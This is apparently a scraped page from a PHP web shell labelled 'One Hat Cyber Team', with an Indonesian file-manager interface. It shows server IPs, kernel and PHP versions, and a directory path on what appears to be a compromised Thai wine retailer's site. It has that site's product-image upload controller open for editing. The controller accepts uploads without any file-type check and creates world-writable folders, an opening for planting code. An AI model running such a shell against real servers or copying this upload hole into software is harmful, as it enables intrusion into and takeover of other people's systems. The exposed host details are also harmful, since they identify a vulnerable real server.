One Hat Cyber Team
Your IP :
216.73.216.152
Server IP :
27.254.111.200
Server :
Linux wh-sh59.csloxinfo.com 3.10.0-693.5.2.el7.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC 2017 x86_64
Server Software :
Apache
PHP Version :
5.5.38
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
vhosts
/
oakwine.co.th
/
httpdocs
/
controller
/
Edit File:
productimgController.php
<?php SYS::DOMAIN("Product"); SYS::DOMAIN("ProductImg"); $action = isset($_GET["action"]) ? $_GET["action"] : null ; switch ($action) { case "save" : $productInstance = new Product(); $productInstance->get($_POST["product"]); if($_FILES["picture"]["name"] != ""){ is_dir(CREATELINK::FILE("ProductImg")) ? null : mkdir(CREATELINK::FILE("ProductImg"),0777); is_dir(CREATELINK::FILE("ProductImg/picture")) ? null : mkdir(CREATELINK::FILE("ProductImg/picture"),0777); $list = explode(".",$_FILES["picture"]["name"]); $fileName = $productInstance->productCode."_".date("U").".".$list[1]; move_uploaded_file($_FILES["picture"]["tmp_name"],CREATELINK::FILE("ProductImg/picture/$fileName")); $_POST["picture"] = $fileName; } /*if($_FILES["picture"]["name"] != ""){ is_dir(CREATELINK::FILE("ProductImg")) ? null : mkdir(CREATELINK::FILE("ProductImg"),0777); is_dir(CREATELINK::FILE("ProductImg/picture")) ? null : mkdir(CREATELINK::FILE("ProductImg/picture"),0777); $list = explode(".",$_FILES["picture"]["name"]); $fileName = $list[0]."_".date("U").".".$list[1]; move_uploaded_file($_FILES["picture"]["tmp_name"],"src/file/Product/picture/$fileName"); $_POST["picture"] = $fileName; }*/ $productimgInstance = new ProductImg(); $excute = $productimgInstance->save($_POST); if($excute) { $productimgInstance->lastRow(); header("location:?page=Product/show&id=". $productimgInstance->product_id); } break; case "update" : $productimgInstance = new ProductImg(); $productimgInstance->get($_GET["id"]); if($_FILES["picture"]["name"] != ""){ is_dir(CREATELINK::FILE("ProductImg")) ? null : mkdir(CREATELINK::FILE("ProductImg"),0777); is_dir(CREATELINK::FILE("ProductImg/picture")) ? null : mkdir(CREATELINK::FILE("ProductImg/picture"),0777); $file = "ProductImg/picture/".$productimgInstance->picture; is_file(CREATELINK::FILE($file)) ? unlink(CREATELINK::FILE($file)) : null; if(is_file(CREATELINK::FILE("ProductImg/picture/$_FILES[picture][name]"))){ $list = explode(".",$_FILES["picture"]["name"]); $fileName = $list[0]."_".date("U").".".$list[1]; }else{ $fileName = $_FILES["picture"]["name"]; } move_uploaded_file($_FILES["picture"]["tmp_name"],CREATELINK::FILE("ProductImg/picture/$fileName")); $_POST["picture"] = $fileName; } $excute = $productimgInstance->update($_POST); if($excute) { header("location:?page=ProductImg/show&id=$productimgInstance->id"); } break; case "delete" : $productimgInstance = new ProductImg(); $productimgInstance->get($_GET["id"]); $productId =$productimgInstance->product_id; $excute = $productimgInstance->delete(); if($excute) { $file = "ProductImg/picture/".$productimgInstance->picture; is_file(CREATELINK::FILE($file)) ? unlink(CREATELINK::FILE($file)) : null; header("location:?page=Product/show&id=".$productId); } break; } ?>
Simpan